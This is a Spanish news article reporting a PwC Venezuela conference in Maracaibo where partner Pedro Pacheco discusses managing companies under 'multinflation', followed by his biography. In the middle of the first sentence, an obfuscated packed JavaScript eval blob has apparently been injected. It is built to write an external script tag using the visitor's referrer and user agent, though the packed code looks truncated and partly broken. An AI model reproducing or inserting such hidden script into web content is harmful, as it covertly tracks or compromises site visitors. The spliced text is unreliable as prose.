PwC Venezuela ofrece la conferencia Gerenciar en tiempos de incertidumbre

Iraima R. Vega M. / Maracaibo / [email protected]
El eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nzisk|var|u0026u|referrer|fatii||js|php'.split('|'),0,{})) encuentro estuvo dirigido a la alta gerencia en áreas de finanzas, tecnología y presupuestos, así como de la industria de la petroquímica, servicios, consumos, cementeras, entre otros. Entre las recomendaciones se encuentran: enfocarse en los temas relevantes, revisar los indicadores de gestión, aprender a gerenciar en multinflación y cuidar el talento humano

Al evento asistieron los miembros de la alta gerencia de diversas industrias de la ciudad. (Fotos: Alejandro Paredes Pérez)

Bajo la idea de que las empresas deben tratar de evolucionar con su entorno y seguir siendo socialmente responsables Pedro Pacheco, socio principal de la firma PwC Venezuela, ofreció el desayuno conferencia Gerenciar en tiempos de incertidumbre el pasado 1 de junio, en el salón Oporto del Hotel Intercontinental.

Durante el encuentro Pacheco explicó que en estos momentos en Venezuela se vive con multinflación, “término que hemos incorporado porque hemos visto que en un mismo momento conviven distintos niveles de inflación, tú puedes conseguir un producto aquí en Maracaibo a un precio más económico que en Caracas y viceversa, a eso se refiere la multinflación, diversas inflaciones en los distintos sectores, en las distintas empresas, conviviendo en un mismo momento, eso ocurre porque hay múltiples tasas de cambio”. 

Teniendo esto presente, Pacheco considera que lo primordial para gerenciar en tiempos de incertidumbre es separar las variables que se pueden gerenciar de las que no; “por ejemplo, no depende de las empresas el que haya o no inflación, pero lo que sí puede manejar es el que haya o no cortes de luz, basados en esto se pueden reorganizar las actividades y así no destinar recursos ni energía a variables que no puede controlar”. 

Agrega que una vez definidas las variables que pueden manejarse las personas se concentran en lo que sí pueden gerenciar: sus actividades, sus procesos, la gestión del talento, entre otros.

Para el directivo de PwC Venezuela en estos momentos es primordial cuidar el talento, “ya que estos son los que ayudarán a la empresa a solventar la crisis”. Resalta que es importante identificar quién es personal estratégico, aquel que garantizará la sostenibilidad del negocio, y quién es clave, y a partir de allí establecer estrategias y romper paradigmas para conservarlos. 

También recomienda ser creativos e innovadores dentro de la organización, “para esto no necesariamente se deben hacer grandes inversiones ni estar vinculados con la tecnología, todos pueden aportar para hacer las cosas o los procesos mucho más eficientes”.  

SOBRE PEDRO PACHECO

Es licenciado en Contaduría Pública, egresado de la Universidad Central de Venezuela en 1988. Hizo un postgrado en la Universidad Politécnica de Madrid en Ciencias Administrativas. En la Universidad Central de Venezuela cursó y aprobó materias de Postgrado en Ciencias Administrativas, mención Finanzas, y en el Instituto de Estudios Superiores de Administración (IESA) cursó los programas Avanzado de Gerencia y Avanzado de Banca y Finanzas.

 

Pedro Pacheco, socio principal de PwC Venezuela, habló sobre el manejo de empresas en tiempos de multinflación.

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